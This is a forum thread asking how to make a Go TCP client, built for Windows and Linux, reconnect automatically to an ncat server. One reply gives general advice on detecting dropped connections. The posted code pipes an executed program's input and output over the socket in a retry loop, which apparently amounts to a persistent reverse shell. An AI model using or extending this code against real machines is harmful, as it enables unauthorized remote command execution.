How to make a client auto-reconnect back to the server

I’m trying to write a client which will be then cross-compiled for both win - linux. If for any reason the connection is lost, I need it to reconnect back to the server. I’m not a pro in golang, so I’m asking for help!

So far I almost achived it. When launched for the first time, it tries to connect to the server ( I’m using ncat as server ) each 3 seconds until it succeeds.

└─$ ./netgo 127.0.0.1 9999
connectfail

connectfail

connectfail

connectok

2021/06/25 10:29:25 Connected to 127.0.0.1:9999

But if the connection is lost, I need it to auto-reconnect back to the server. For now, I made it work just if I enter some kind of input from the client after it gets a RST.

└─$ ./netgo 127.0.0.1 9999

connectfail

connectfail

connectfail

connectok

2021/06/25 10:31:48 Connected to 127.0.0.1:9999

abc

fail again

connectok

2021/06/25 10:32:38 Connected to 127.0.0.1:9999
The code:

// Socket Client
func (nObj NetObject) RunClient(cmd string) {
    // Try connection

    for {
        conn, err := net.Dial(nObj.Type, nObj.Service)
        fmt.Print("connect")
        if err != nil {
            fmt.Println("fail")
        } else {
            fmt.Println("ok")
            defer conn.Close()
            log.Println("Connected to", conn.RemoteAddr())
            handleConn(conn, cmd)
            if conn != nil {
                fmt.Println("fail again ")
            }
        }
        time.Sleep(5 * time.Second)
    }

}

// Manage connection for different behavior
func handleConn(conn net.Conn, binPath string) {
    if binPath != "" {
        // Execute command and send Standard I/O net.Conn
        cmd := exec.Command(binPath)
        cmd.Stdin = conn
        cmd.Stdout = conn
        cmd.Stderr = conn
        cmd.Run()
    } else {
        // Copy Standard I/O in a net.Conn
        go io.Copy(os.Stderr, conn)
        go io.Copy(os.Stdout, conn)
        io.Copy(conn, os.Stdin)
    }
}

Can you please help me fixing the code? Would be AWESOME!

You can’t know that the connection is lost except by attempting to use it. TCP uses acknowledgement packets to indicate when data is received, so if you attempt to send data and don’t get an ACK back, then you know the connection is broken. You could write something that keeps sending pings to the server and reconnect on error.

This topic was automatically closed 90 days after the last reply. New replies are no longer allowed.